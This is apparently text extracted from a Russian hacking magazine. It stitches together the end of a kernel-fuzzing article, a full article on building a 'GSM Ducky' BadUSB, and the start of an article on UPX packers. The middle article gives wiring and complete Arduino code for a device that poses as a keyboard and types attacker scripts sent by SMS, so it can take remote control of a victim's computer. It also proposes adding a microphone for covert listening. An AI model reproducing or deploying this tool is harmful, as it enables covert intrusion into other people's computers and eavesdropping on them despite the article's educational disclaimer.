тур они при нима ют пос ледова тель ность исполня емых инс трук ций. Сге нери- 
ровать кор рек тную цепоч ку инс трук ций — это гораз до более слож ная задача,
чем сге нери ровать кор рек тную струк туру. Для фаз зинга таких под систем нуж- 
но раз рабаты вать спе циаль ные фаз зеры. Нав роде фаз зера JavaScript-интер- 
пре тато ров .fuzzilli

Ñòðóêòóðèðóåì âíåøíèå ââîäû

Пред ста вим, что мы фаз зим ядро со сто роны сети. Может показать ся, что
фаз зинг сетевых пакетов — это та же генера ция и отправ ка обыч ных струк тур.
Но на самом деле сеть работа ет как API, толь ко с внеш ней сто роны.

При мер: пусть мы фаз зим TCP и у нас на хос те есть сокет, с которым мы
хотим уста новить соеди нение извне. Казалось бы, мы посыла ем SYN, хост
отве чает SYN/ACK, мы посыла ем ACK — все, соеди нение уста нов лено. Но в
получен ном нами пакете SYN/ACK содер жится ,
который мы дол жны вста вить в пакет ACK. В каком-то смыс ле это воз врат
зна чения из ядра, но с внеш ней сто роны.

но мер под твержде ния

То есть внеш нее вза имо дей ствие с сетью — это пос ледова тель ность
вызовов (отпра вок пакетов) и исполь зование их воз вра щаемых зна чений
(номеров под твержде ния) в сле дующих вызовах. Получа ем, что сеть работа ет
как API и для нее при мени мы идеи API-aware-фаз зинга.

Про USB
USB — необыч ный про токол: там все обще ние ини циирует ся хос том. Поэто- 
му даже если мы наш ли спо соб под клю чать USB-устрой ства извне, то мы
не можем прос то так посылать дан ные на хост. Вмес то это го нуж но дож дать- 
ся зап роса от хос та и на этот зап рос отве тить. При этом мы не всег да зна ем,
какой зап рос при дет сле дующим. Фаз зер USB дол жен учи тывать эту осо бен- 
ность.

Ïîìèìî KCOV

Как еще мож но собирать пок рытие кода, кро ме как с помощью KCOV?
Во-пер вых, мож но исполь зовать эму лято ры. Пред ставь, что вир туал ка

эму лиру ет ядро инс трук ция за инс трук цией. Мы можем внед рить ся в цикл
эму ляции и собирать отту да адре са инс трук ций. Этот под ход хорош тем, что,
в отли чие от KCOV, тут не нуж ны исходни ки ядра. Как следс твие, этот спо соб
мож но исполь зовать для зак рытых модулей, которые дос тупны в виде бинар- 
ников. Так дела ют фаз зеры  и .TriforceAFL UnicoreFuzz

Еще один спо соб собирать пок рытие — исполь зовать аппа рат ные фичи
про цес сора. Нап ример,  исполь зует .kAFL Intel PT

Сто ит отме тить, что упо мяну тые реали зации этих под ходов экспе римен- 
таль ные и тре буют доработ ки для прак тичес кого исполь зования.

Ñîáèðàåì ðåëåâàíòíîå ïîêðûòèå

Для coverage-guided-фаз зинга нам нуж но собирать пок рытие с кода под- 
систе мы, которую мы фаз зим.

Сбор ка пок рытия из текуще го потока, которую мы обсужда ли до сих пор,
работа ет для этой цели не всег да: под систе ма может обра баты вать вво ды
в дру гих кон тек стах. Нап ример, некото рые сис колы соз дают новый поток
в ядре и обра баты вают ввод там. В слу чае того же USB пакеты обра баты- 
вают ся в гло баль ных потоках, которые стар туют при заг рузке ядра и никак
к юзер спей су не при вяза ны.

Для решения этой проб лемы я реали зовал в KCOV  собирать
пок рытие с фоновых потоков и прог рам мных пре рыва ний. Она тре бует добав- 
ления анно таций в учас тки кода, с которых хочет ся собирать пок рытие.

воз можность

Çà ïðåäåëàìè ñáîðà ïîêðûòèÿ êîäà

Нап равлять про цесс фаз зинга мож но не толь ко с помощью пок рытия кода.
Нап ример, мож но отсле живать сос тояние ядра: монито рить учас тки

памяти или сле дить за изме нени ем сос тояний внут ренних объ ектов. И добав- 
лять в кор пус вво ды, которые вво дят объ екты в ядре в новые сос тояния.

Чем в более слож ное сос тояние мы заведем ядро во вре мя фаз зинга, тем
боль ше шанс, что мы нат кнем ся на ситу ацию, которую оно не смо жет кор рек- 
тно обра ботать.

Ñîáèðàåì êîðïóñ ââîäîâ

Еще один спо соб генера ции вво дов — сде лать это на осно ве дей ствий
реаль ных прог рамм. Реаль ные прог раммы уже вза имо дей ству ют с ядром нет- 
риви аль ным обра зом и про ника ют глу боко внутрь кода. Сге нери ровать такое
же вза имо дей ствие с нуля может быть невоз можно даже для очень умно го
фаз зера.

Я видел такой под ход в про екте : авто ры запус кали сис темные
ути литы под , собира ли с них лог и исполь зовали получен ную пос- 
ледова тель ность сис колов как ввод для фаз зинга с помощью syzkaller.

Moonshine
strace

Ëîâèì áîëüøå áàãîâ

Су щес тву ющие динами чес кие детек торы неидеаль ны и могут не замечать
некото рые ошиб ки. Как находить такие ошиб ки? Улуч шать детек торы.

Мож но, к при меру, взять KASAN (напом ню, он ищет пов режде ния памяти)
и  для какого-нибудь нового алло като ра. По умол чанию
KASAN под держи вает стан дар тные алло като ры ядра, такие как 
и . Но некото рые драй веры выделя ют здо ровен ный кусок памяти
и потом самос тоятель но его нареза ют на бло ки помель че (при вет, Android!).
KASAN в таком слу чае не смо жет най ти перепол нение из одно го бло ка в дру- 
гой. Нуж но добав лять анно тации вруч ную.

до бавить анно тации
slab

page_alloc

Еще есть KMSAN — он уме ет находить утеч ки информа ции. По умол чанию
он ищет утеч ки в юзер спей се. Но дан ные могут уте кать и через внеш ние
интерфей сы, нап ример по сети или по USB. Для таких слу чаев KMSAN 

.
мож но

до рабо тать
Мож но делать свои баг-детек торы с нуля. Самый прос той спо соб —

добавить в исходни ки ядра ассерты. Если мы зна ем, что в опре делен ном
мес те всег да дол жно выпол нять ся опре делен ное усло вие, — добав ляем

 и начина ем фаз зить. Если  сра ботал — баг най ден. А мы сде- 
лали эле мен тарный детек тор логичес кой ошиб ки. Такие детек торы осо бен но
инте рес ны в кон тек сте фаз зинга BPF, потому что ошиб ка в BPF обыч но
не при водит к пов режде нию памяти и оста ется незаме чен ной.

BUG_ON BUG_ON

ÈÒÎÃÈ È ÑÎÂÅÒÛ

Да вай под ведем ито ги.
Гло баль но под ходов к фаз зингу ядра Linux три:
Ис поль зовать юзер спей сный фаз зер. Либо берешь фаз зер типа 
или  и его переде лыва ешь, что бы он звал сис колы вмес то фун кций
юзер спей сной прог раммы. Либо вытас кива ешь ядер ный код в юзер спейс
и фаз зишь его там. Эти спо собы прек расно работа ют для под систем,
обра баты вающих струк туры, потому что в основном юзер спей сные фаз- 
зеры ори енти рова ны на мутацию мас сива бай тов. При меры: фаз зинг 

 и . Для coverage-guided-фаз зинга тебе при дет ся под- 
клю чить сбор ку пок рытия с ядра к алго рит му фаз зера.

• AFL
libFuzzer

фай- 
ловых сис тем Netlink

 syzkaller. Он иде аль но под ходит для API-aware-фаз зинга.
Для опи сания сис колов и их воз вра щаемых зна чений и аргу мен тов он
исполь зует спе циаль ный язык — .

• Ис поль зовать

syzlang
На писать свой фаз зер с нуля. Это отличный спо соб ,
как работа ет фаз зинг изнутри. А еще с помощью это го под хода мож но
фаз зить под систе мы с  .

• ра зоб рать ся

не обыч ными ин терфей сами

Советы по syzkaller
Вот тебе нес коль ко советов, которые помогут добить ся резуль татов.

Не исполь зуй syzkaller на стан дар тном ядре со стан дар тным кон фигом —
ничего не най дешь. Мно го людей фаз зят ядро руками и с помощью
syzkaller. Кро ме того, есть , который фаз зит ядро в обла ке. Луч ше
сде лай что-нибудь новое: напиши новые опи сания сис колов или возь ми
нес тандар тный кон фиг ядра.

•

syzbot

Syzkaller мож но улуч шать и рас ширять. Ког да я делал , я сде- 
лал его поверх syzkaller, написав допол нитель ный модуль.

• фаз зинг USB

Syzkaller мож но исполь зовать как фрей мворк. Нап ример, взять часть кода
для пар синга лога ядра. Syzkaller уме ет рас позна вать сот ню раз ных типов
оши бок, и эту часть мож но пере исполь зовать в сво ем фаз зере. Или мож но
взять код, который управля ет вир туаль ными машина ми, что бы не писать
его самому.

•

Как понять, что твой фаз зер работа ет хорошо? Оче вид но, что если он находит
новые баги, то все отлично. Но вот что делать, если не находит?

Про веряй пок рытие кода. Фаз зишь кон крет ную под систе му? Про верь, что
твой фаз зер дотяги вает ся до всех ее инте рес ных час тей.

•

До бавь искусс твен ные баги в под систе му, которую фаз зишь. Нап ример,
добавь ассертов и про верь, что фаз зер до них дотяги вает ся. Этот совет
отчасти пов торя ет пре дыду щий, но он работа ет, даже если твой фаз зер
не собира ет пок рытие кода.

•

От кати пат чи для исправ ленных багов и убе дись, что фаз зер их находит.•

Ес ли фаз зер пок рыва ет весь инте ресу ющий тебя код и находит ранее
исправ ленные ошиб ки — ско рее все го, фаз зер работа ет хорошо. Если новых
оши бок нет, то либо их там дей стви тель но нет, либо фаз зер не заводит ядро
в дос таточ но слож ное сос тояние и его надо улуч шать.

И еще пара советов:
• Пи ши фаз зер на осно ве кода, а не докумен тации. Докумен тация может

быть неточ на. Источни ком исти ны всег да будет код. Я на это натол кнул ся,
ког да делал фаз зер USB: ядро обра баты вало дру гое под мно жес тво про- 
токо лов, чем опи сан ное в докумен тации.

• В пер вую оче редь делай фаз зер умным, а уже потом делай его быс трым.
«Умный» озна чает генери ровать более точ ные вво ды, луч ше собирать пок- 
рытие или что-нибудь еще в таком роде, а «быс трый» — иметь боль ше
исполне ний в секун ду. Нас чет «умный» или «быс трый» пос мотри 
и .

статью
дис куссию

ÂÛÂÎÄÛ

Соз дание фаз зеров — инже нер ная работа. И осно вана она на инже нер ных
уме ниях: про екти рова нии, прог рамми рова нии, тес тирова нии, дебаг гинге
и бен чмар кинге.

От сюда два вывода. Пер вый: что бы написать прос той фаз зер — дос таточ- 
но прос то уметь прог рамми ровать. Вто рой: что бы написать кру той фаз зер —
нуж но быть хорошим инже нером. При чина, по которой syzkaller име ет такой
успех, — в него было вло жено мно го инже нер ного опы та и вре мени.

На деюсь, я ско ро уви жу новый необыч ный фаз зер, который напишешь
имен но ты!

WWW

Еще боль ше ссы лок и матери алов — в 
 и телег рам-канале .
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ВЗЛОМ

Лю бой компь ютер име ет огромную уяз вимость — пор ты,
к которым мож но под клю чать устрой ства вво да. Это откры- 
вает прос транс тво для атак типа BadUSB. Обыч но
это девайс, похожий на флеш ку, который ими тиру ет кла- 
виату ру и тай ком вво дит коман ды скрип та. Ата кующий
при этом находит ся непода леку, но это нак ладыва ет ряд
огра ниче ний. В этой статье я покажу, как сво ими руками
соб рать BadUSB с модулем GSM и SIM-кар той, что бы уда- 
лить ся мож но было хоть в дру гую часть зем ного шара!

WARNING

Вся информа ция пре дос тавле на исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не несут ответс твен ности за любой воз можный
вред, при чинен ный с исполь зовани ем информа- 
ции из дан ной статьи.

ÑÒÅËÑ — ÍÀØÅ ÂÑÅ!

В осно ве BadUSB лежит мик рокон трол лер и память, необ ходимая для хра- 
нения кода. Код — это обыч но скетч, написан ный, нап ример, на язы ке
Arduino. В статье мы будем исполь зовать имен но его. Одна из при чин его
популяр ности — это широкий выбор биб лиотек. Они поз воля ют замет но
сэконо мить вре мя при написа нии скет ча.

Статьи « » и « » дают
исчерпы вающее руководс тво, как соб рать и зап рограм мировать BadUSB
и модифи циро вать его, добавив ESP8266. Модуль Wi-Fi пре дос тавля ет нам
огромное пре иму щес тво в виде уда лен ного управле ния устрой ством и соз- 
дания скрип тов на лету. Бес спор но, управле ние через веб-интерфейс —
это кру тая модифи кация. Но за удобс тво нуж но пла тить, в этом слу чае скрыт- 
ностью. Соз данная устрой ством точ ка дос тупа может выдать факт работы
устрой ства, а бетон ные сте ны и малый ради ус зоны Wi-Fi не дадут поль- 
зовате лю уда лить ся на рас сто яние боль ше ста мет ров от девай са (это в луч- 
шем слу чае). В сегод няшней статье мы раз дви нем физичес кие гра ницы
исполь зования BadUSB.

Злой HID Злая утка с дис танци онным управле нием

ÂÛÁÎÐ ÆÅËÅÇÀ

Что, если обо рудо вать Arduino модулем не ESP8266, а SIM800L? Конеч но,
суть BadUSB оста нет ся неиз менной: устрой ство под клю чает ся к пор ту USB
компь юте ра для выпол нения команд скрип та. Одна ко отли чие от прос того
BadUSB зак люча ется в том, что пос ле при соеди нения скрипт не выпол нится.
Его необ ходимо будет пос лать в виде SMS. Это даст пре иму щес тво не толь ко
в дис танции, c которой мож но управлять устрой ством уда лен но, но и
в исполь зуемом обо рудо вании: хва тит кно поч ного телефо на с SIM-кар той.
Что бы еще нем ного сни зить себес тоимость устрой ства, мож но заказать все
необ ходимые детали с AliExpress.

Нам понадо бят ся сле дующие вещи:
,• SIM800L

,• Arduino Pro Mirco
.• пе реход ник USB — microUSB

SIM800L

Arduino Pro Mirco

USB — microUSB

Те перь давай прис тупим к сбор ке самого устрой ства.

ÐÀÁÎÒÀÅÌ ÐÓ×ÊÀÌÈ

Схе ма соеди нения кон тактов двух плат про вода ми выг лядит сле дующим
обра зом:

ARDUINO <----> SIM800L 
RAW <-----> VCC 
GND <-----> GND 
15 <-----> TXD 
14 <-----> RXD 

Ан тенна из ком плек та SIM800L подой дет любая. Если это антенна-спи раль, то
ее необ ходимо при паять к кон такту NET модема. Что бы сэконо мить мес то, я
выберу плос кую антенну и прик реплю ее к кон такту IPX.

INFO

Пи тание модуля SIM800L очень кап ризно. Раз-
решен ное нап ряжение сос тавля ет от 3,4 до 4,4 В.
Поэто му, если ты исполь зуешь не Arduino Pro
Micro или выход ное нап ряжение не попада ет
в про межу ток зна чений, ука зан ный выше,
советую озна комить ся со стать ей .
В ней под робно опи сано, как кор рек тно под вести
питание к модулю SIM800L.

Robotchip

Соб ранное устрой ство

Ос танав ливать ся на сбор ке под робно я не буду. Уве рен но ору дуя паяль- 
ником, цеп ляем про вода к обе им пла там по схе ме. Ска жу лишь одно: если ты
даль ше собира ешь ся про дол жать свои экспе римен ты с BadUSB, то луч ше
вос поль зовать ся макет ной пла той. Тог да сбор ка устрой ства прев ратит ся
в игру с конс трук тором Lego. Дос таточ но будет при паять нож ки к исполь- 
зуемым кон тактам Arduino и SIM800L, уста новить девай сы на макет ную пла ту
и соеди нить их меж ду собой про вода ми.

ÍÀÑÒÐÀÈÂÀÅÌ ÎÊÐÓÆÅÍÈÅ

Linux или Windows? Решать тебе! Arduino IDE есть под обе опе раци онные сис- 
темы. В моем слу чае при под клю чении Arduino опре дели лось как SparkFun
LilyPad USB.

Оп ределе ние Arduino в ОС Linux

Да лее ска чива ем Arduino IDE с офи циаль ного сай та под свою ОС (в моем
слу чае это Kali Linux). Пос ле уста нов ки необ ходимо выб рать устрой ство,
которое мы будем прог рамми ровать, и порт, к которо му оно под клю чено.
Сра зу ска жу, что, если ты исполь зуешь Linux, заг рузить код на пла ту с пер вого
раза может и не получить ся. Тог да необ ходимо про писать в коман дной стро- 
ке Linux сле дующее (где  — имя поль зовате ля):username

 $ sudo usermod -a -G dialout username

Вы бор пла ты для пра виль ной ком пиляции кода

Вы бор пор та, к которо му под клю чено устрой ство

Пос ле под клю чения устрой ства к USB-пор ту модем ищет бли жай шую
базовую стан цию опе рато ра SIM-кар ты, которую ты исполь зуешь в SIM800L (в
вер хнем углу модуля SIM800L находит ся све тоди од, который показы вает сос- 
тояние сотовой сети). Есть три сос тояния инди като ра: мига ет раз в 1 с —
модуль работа ет, но еще не под клю чил ся к сотовой сети; мига ет раз в 2 с —
зап рошен ное соеди нение для переда чи дан ных GPRS активно; мига ет раз
в 3 с — модуль уста новил связь с сотовой сетью и может отправ лять
или получать голосо вые сооб щения и SMS.

Продолжение статьи →

mailto:johnysci111@gmail.com
https://xakep.ru/2018/09/26/evil-hid/
https://xakep.ru/2019/01/16/wi-fi-ducky/
https://aliexpress.ru/item/32993187521.html?&sku_id=66868634626
https://aliexpress.ru/item/32975361462.html
https://aliexpress.ru/item/4000890661071.html
https://robotchip.ru/obzor-modulya-gsm-gprs-na-chipe-sim800l/


GSM DUCKY
ДЕЛАЕМ BADUSB С УПРАВЛЕНИЕМ

ПО СОТОВОЙ СВЯЗИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÃÀÅÌ ÌÎÇÃÈ

В отли чие от девай са с модулем Wi-Fi, в нашей вер сии BadUSB будет прог- 
рамми ровать ся толь ко модуль Arduino. SIM800L выс тупит как часть канала
переда чи, которая обра баты вает получа емые от базовой стан ции сиг налы
GSM. Резуль татом работы (в зависи мос ти от отправ ленной модулю SIM800L
коман ды) будет тек сто вая информа ция, выведен ная в COM-порт. Рас смот- 
рим основные коман ды биб лиоте ки это го модуля, с которы ми будем
работать.

Об щать ся с модулем SIM800L мож но через COM-порт с помощью тек сто- 
вых команд. Их перечень огро мен, поэто му при веду в качес тве при мера толь- 
ко те, которые будут задей ство ваны.

 — нас трой ка ско рос ти обме на дан ными;• AT
 — уда ление всех SMS из памяти сим ки;• AT+CMGDA="DEL ALL"

 — уда ление всех про читан ных SMS;• AT+CMGDA="DEL READ"
 — вклю чение AOH;• AT+CLIP=1
 — вклю чение воз можнос ти исполь зования тональ ного

набора;
• AT+DDET=1

 — вклю чение тек сто вого режима SMS с сох ранени ем зна- 
чения;

• AT+CMGF=1;&W

 — зап рос на чте ние неп рочитан ных SMS;• AT+CMGL="REC UNREAD",1
 — получе ние тек ста SMS по индексу (index);• AT+CMGR="index",1

 — отме тить по индексу SMS как про читан ное.• AT+CMGR="index"

INFO

Datasheet по SIM800L

Итак, прис тупим к соз данию кода. Логичес ки его мож но раз делить на две час- 
ти. Пер вая — обра бот ка дан ных, получа емых от модуля SIM800L, и «выужи- 
вание» полез ной наг рузки из SMS. Вто рая — эму ляция модулем Arduino
нажатий кла виш, отправ ляемых через USB-порт компь юте ру. Осно ву вто рой
час ти сос тавил код, написан ный  и перера ботан ный мной.Spacehuhn

Гло баль ные перемен ные и под клю чаемые биб лиоте ки:

#include <SoftwareSerial.h>
#include <Keyboard.h>
#define BAUD_RATE 57200
#define ExternSerial Serial1

   SoftwareSerial SIM800(15, 14); // RX, TX — контакты передачи/приема 
данных на Arduino

       String _response = ""; // Переменная для хранения ответа модуля
    long lastUpdate = millis(); // Время последнего обновления
       long updatePeriod = 60000; // Проверять каждую минуту
     String phones = "Твой_номер"; // Белый список телефонов
   String bufferStr = "";
   String last = "";

   int defaultDelay = 0;
    bool hasmsg = false; // Флаг наличия сообщений к удалению

Те перь нас тро им ско рость, с которой модули обме нива ются дан ными, ини- 
циали зиру ем SIM800L и заявим, что наше устрой ство — это кла виату ра.

 void setup(){
 Serial.begin(9600);
 SIM800.begin(9600);
 Serial.println("Start!");
   ExternSerial.begin(BAUD_RATE);
     Keyboard.begin();
  sendATCommand("AT", true);
   sendATCommand("AT+CMGDA="DEL ALL"", true);
  sendATCommand("AT+CMGF=1;&W", true);
   lastUpdate = millis();
}

Фун кцию  мож но раз бить на две час ти. Пер вая (
) — про вер ка на наличие неп рочитан ных сооб- 

щений, их обра бот ка и отправ ка извле чен ного скрип та в фун кцию 
 Вто рая ( ) выводит в монитор СOM-

пор та получен ные от базовой стан ции дан ные, если модем что-то отпра вил.

loop() if(lastUpdate + 
updatePeriod < millis()

.parseSMS() if(SIM800.available())

 void loop(){
     if(lastUpdate + updatePeriod < millis()){
   do{

         _response = sendATCommand("AT+CMGL="REC UNREAD",1", true);
       if(_response.indexOf("+CMGL: ") > -1){

   
     
  

       int msgIndex = _response.substring(_response.indexOf("+CMGL: 
") + 7, _response.indexOf(""REC UNREAD"", _response.indexOf("+CMGL: "
)) - 1).toInt();

          char i = 0;
       do{
         i++;

      
 

         _response = sendATCommand("AT+CMGR=" + (String)msgIndex +
",1", true);
         _response.trim();
         if(_response.endsWith("OK")){

              if(!hasmsg) hasmsg = true;
              sendATCommand("AT+CMGR=" + (String)msgIndex, true);

            sendATCommand("\n", true);
           parseSMS(_response);
           break;
         }else{

            Serial.println ("Error answer");
            sendATCommand("\n", true);

         }
           } while (i < 10);

       break;
     }
     else{

         lastUpdate = millis();
       if(hasmsg){

           sendATCommand("AT+CMGDA="DEL READ"", true);
           hasmsg = false;

       }
       break;
     }
     } while (1);
 }

 if(SIM800.available()){
     _response = waitResponse();
   _response.trim();
   Serial.println(_response);
     if(_response.indexOf("+CMTI:") > -1){

          lastUpdate = millis() - updatePeriod;
   }
 }
 if(Serial.available()){
   SIM800.write(Serial.read());
 };

 //-----------------------------

 if(ExternSerial.available()){
     bufferStr = ExternSerial.readStringUntil("END");
   Serial.println(bufferStr);
 }

   if(bufferStr.length() > 0){
   bufferStr.replace("\r","\n");
   bufferStr.replace("\n\n","\n");

     while(bufferStr.length() > 0){
        int latest_return = bufferStr.indexOf("\n");

       if(latest_return == -1){
       Serial.println("run: "+bufferStr);
       Line(bufferStr);

         bufferStr = "";
      } else{

        Serial.println("run: '"+bufferStr.substring(0, latest_return)
+"'");

        Line(bufferStr.substring(0, latest_return));
        last=bufferStr.substring(0, latest_return);

           bufferStr = bufferStr.substring(latest_return + 1);
     }
   }

     bufferStr = "";
   ExternSerial.write(0x99);
   Serial.println("done");
 }
}

Фун кции  вклю чают в себя обра бот ку номера телефо на отпра- 
вите ля и срав нение его со спис ком раз решен ных, вывод тек ста сооб щения
и номера в монитор COM-пор та. Далее сам скрипт из сооб щения отправ- 
ляет ся в фун кцию .

parseSMS()

Line()

  void parseSMS(String msg){
     String msgheader = "";
       String msgbody = "";
      String msgphone = "";
   msg = msg.substring(msg.indexOf("+CMGR: "));
    msgheader = msg.substring(0, msg.indexOf("\r"));
     msgbody = msg.substring(msgheader.length() + 2);
    msgbody = msgbody.substring(0, msgbody.lastIndexOf("OK"));
 msgbody.trim();
      int firstIndex = msgheader.indexOf("","") + 3;
     int secondIndex = msgheader.indexOf("","", firstIndex);
    msgphone = msgheader.substring(firstIndex, secondIndex);
   Serial.println("Phone: " + msgphone);
   Serial.println("Message: " + msgbody);
       if(msgphone.length() > 6 && phones.indexOf(msgphone) > -1){
   Line(msgbody);
 }
 else{
   Serial.println("Unknown phonenumber");
 }
}

Фун кция  при нима ет перемен ную , отправ- 
ленную из фун кции , и записы вает в перемен ную . Далее
сле дует обра бот ка пре фик сов команд:  — пауза меж ду
коман дами;  — пауза меж ду коман дами по умол чанию;  —
ком мента рий;  — пов торить. Выраже ния, которые идут пос ле ,
обра баты вают ся фун кци ей .

Line(String _line) msgbody
parseSMS() _line

STRING - ; DELAY
DEFAULTDELAY REM
REPLAY STRING

press(String b)

  void Line(String _line){
    int firstSpace = _line.indexOf(" ");
    if(firstSpace == -1) Press(_line);
    else if(_line.substring(0,firstSpace) == "STRING"){
     for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line
[i]);
 }
    else if(_line.substring(0,firstSpace) == "DELAY"){
        int delaytime = _line.substring(firstSpace + 1).toInt();
   delay(delaytime);
 }
     

    
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY")

defaultDelay = _line.substring(firstSpace + 1).toInt();
    else if(_line.substring(0,firstSpace) == "REM"){}
    else if(_line.substring(0,firstSpace) == "REPLAY"){
        int replaynum = _line.substring(firstSpace + 1).toInt();
   while(replaynum){
     Line(last);
     --replaynum;
   }
 }
 else{

        String remain = _line;
       while(remain.length() > 0){

          int latest_space = remain.indexOf(" ");
         if(latest_space == -1){

         Press(remain);
           remain = "";

       }
       else{

          Press(remain.substring(0, latest_space));
             remain = remain.substring(latest_space + 1);

       }
       delay(5);
     }
 }
 Keyboard.releaseAll();
 delay(defaultDelay);
}

Фун кция  отправ ляет сиг налы нажатия кла виш компь юте ру
в зависи мос ти от содер жания скрип та:

Press (String b)

  void Press(String b){
    if(b.length() == 1) Keyboard.press(char(b[0]));
   else if(b.equals("ENTER")) Keyboard.press(KEY_RETURN);
   else if(b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
   else if(b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
   else if(b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
   else if(b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
     else if(b.equals("UP") || b.equals("UPARROW")) Keyboard.press(
KEY_UP_ARROW);
     else if(b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(
KEY_DOWN_ARROW);
     else if(b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(
KEY_LEFT_ARROW);
     else if(b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press
(KEY_RIGHT_ARROW);
   else if(b.equals("DELETE")) Keyboard.press(KEY_DELETE);
   else if(b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
   else if(b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
   else if(b.equals("HOME")) Keyboard.press(KEY_HOME);
   else if(b.equals("ESC")) Keyboard.press(KEY_ESC);
   else if(b.equals("INSERT")) Keyboard.press(KEY_INSERT);
   else if(b.equals("TAB")) Keyboard.press(KEY_TAB);
   else if(b.equals("END")) Keyboard.press(KEY_END);
   else if(b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
   else if(b.equals("F1")) Keyboard.press(KEY_F1);
   else if(b.equals("F2")) Keyboard.press(KEY_F2);
   else if(b.equals("F3")) Keyboard.press(KEY_F3);
   else if(b.equals("F4")) Keyboard.press(KEY_F4);
   else if(b.equals("F5")) Keyboard.press(KEY_F5);
   else if(b.equals("F6")) Keyboard.press(KEY_F6);
   else if(b.equals("F7")) Keyboard.press(KEY_F7);
   else if(b.equals("F8")) Keyboard.press(KEY_F8);
   else if(b.equals("F9")) Keyboard.press(KEY_F9);
   else if(b.equals("F10")) Keyboard.press(KEY_F10);
   else if(b.equals("F11")) Keyboard.press(KEY_F11);
   else if(b.equals("F12")) Keyboard.press(KEY_F12);
   else if(b.equals("SPACE")) Keyboard.press(' ');
}

Фун кция  упро щает вза имо- 
дей ствие с модулем SIM800L. В слу чае неудач ной отправ ки коман ды модулю
цикл пов торя ется заново.

sendATCommand(String cmd, bool waiting)

    String sendATCommand(String cmd, bool waiting){
    String _resp = "";
 Serial.println(cmd);
 SIM800.println(cmd);
 if(waiting){
     _resp = waitResponse();
   if(_resp.startsWith(cmd)){

          _resp = _resp.substring(_resp.indexOf("\r", cmd.length()) + 2);
   }
   Serial.println(_resp);
 }
  return _resp;
}

Фун кция  ожи дает отве та и воз вра щает получен ный
от модема резуль тат.

waitResponse()

 String waitResponse(){
    String _resp = "";
      long _timeout = millis() + 10000;
      while (!SIM800.available() && millis() < _timeout){};
 if(SIM800.available()){
     _resp = SIM800.readString();
 }
 else{
   Serial.println("Timeout...");
 }
  return _resp;
}

ÒÅÑÒÈÐÓÅÌ ÄÅÂÀÉÑ

Итак, нас тал момент исти ны! Цеп ляем устрой ство к USB-пор ту компь юте ра.
Ждем, ког да модем уста новит соеди нение с базовой стан цией, — об этом
сви детель ству ет мига ющий раз в 3 с крас ный све тоди од. Про веря ем наличие
обна ружен ных устрой ств в ОС.

Пос ле это го отправ ляем тес товый скрипт с полез ной наг рузкой в тек сте
SMS на SIM-кар ту модема. Нап ример, так, как показа но на сле дующих рисун- 
ках.

По лез ная наг рузка, отправ ленная в SMS

Ре зуль тат выпол нения полез ной наг рузки

INFO

Пол ный набор команд мож но най ти
у .SpacehuhnTech

Ка кая полез ная наг рузка будет в SMS, зависит толь ко от тво его зна ния
коман дных строк Linux и Windows, а так же тво ей изоб ретатель нос ти.

×ÒÎ ÄÀËÜØÅ?

Со вер шенс тву нет пре дела! Давай рас смот рим пару при меров того, как ты
можешь улуч шить устрой ство.

У SIM800L есть кон такты Mic+ и Mic-. К ним мож но при паять кон денса тор- 
ный мик рофон. В коде необ ходимо будет про писать допол нитель ную про- 
цеду ру для обра бот ки вхо дяще го звон ка. Ты будешь слы шать все, что про- 
исхо дит рядом с устрой ством.

Так же мож но вклю чить обра бот ку тональ ного набора, ког да модем будет
авто мати чес ки отве чать на зво нок с тво его телефо на. Это даст воз можность
выпол нять скрип ты, записан ные тобой заранее в память устрой ства,
при звон ке с опре делен ного телефо на и нажатий опре делен ной циф ровой
ком бинации во вре мя сеан са свя зи.

ÂÛÂÎÄ

Что ж, хотелось бы ска зать, что в таких устрой ствах нет ничего слож ного: ком- 
пании пред лага ют уже готовые модули, поз воля ющие работать с ними, как с
Lego, прог рамми рова ние в боль шинс тве слу чаев сво дит ся к исполь зованию
язы ков высоко го уров ня, а комь юни ти прак тичес ки всег да делит ся сво ими
наработ ками и гай дами. Нуж ны толь ко идея и твоя фан тазия, и тог да ты смо- 
жешь соб рать что-то клас сное ;)

https://simcom.ee/documents/SIM800/SIM800_Hardware%20Design_V1.09.pdf
https://github.com/spacehuhn/wifi_ducky
https://github.com/SpacehuhnTech/WiFiDuck
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ВЗЛОМ

Упа ков щики и крип торы хорошо извес тны
любите лям усложнить обратную раз работ ку
кода. Для вин ды таких инс тру мен тов целый
зоопарк, в Linux все куда слож нее: сей час
про верен но работа ет с эль фами под раз- 
личные плат формы лишь UPX. Его исполь- 
зуют вирусо писа тели для упа ков ки ,

 и , а потому заос- 
трим на нем вни мание и мы.

бо тов
май неров SSH-бэк доров

INFO

Эта статья написа на по мотивам док лада
с новогод ней сход ки, орга низо ван ной сооб щес- 
твом  в декаб ре 2020 года. 

 дос тупна на канале SPbCTF
в YouTube.

SPbCTF За пись сход ки
со все ми док ладами

ÇÀ×ÅÌ ÝÒÎ ÂÑÅ?

На  мож но про честь, что основная цель
его сущес тво вания — умень шить раз мер исполня емо го фай ла с вытека ющей
отсю да эко номи ей дис кового прос транс тва и сетево го тра фика. Нап ример,
UPX поз воля ет сжать исполня емый файл на 50–70%, и он оста нет ся пол- 
ностью самодос таточ ным, потому что код, выпол няющий рас паков ку
в память, добав ляет ся к получив шемуся бинарю. Для это го же упа ков ка
исполь зует ся и в PyInstaller при сбор ке кода на Python в незави симые
исполня емые фай лы PE или ELF (при этом он может работать и в тан деме
с UPX).

стра нич ке одно го хороше го пакера

Од нако, как ты догады ваешь ся, пакеры отлично под ходят еще и для того,
что бы нем ного под портить жизнь реверс-инже неру. В этом клю че родс твен- 
ны им крип торы. В мире Linux, одна ко, это ско рее 

, либо же прос то  и, пря мо ска жем, в живой
при роде поч ти не встре чающееся.

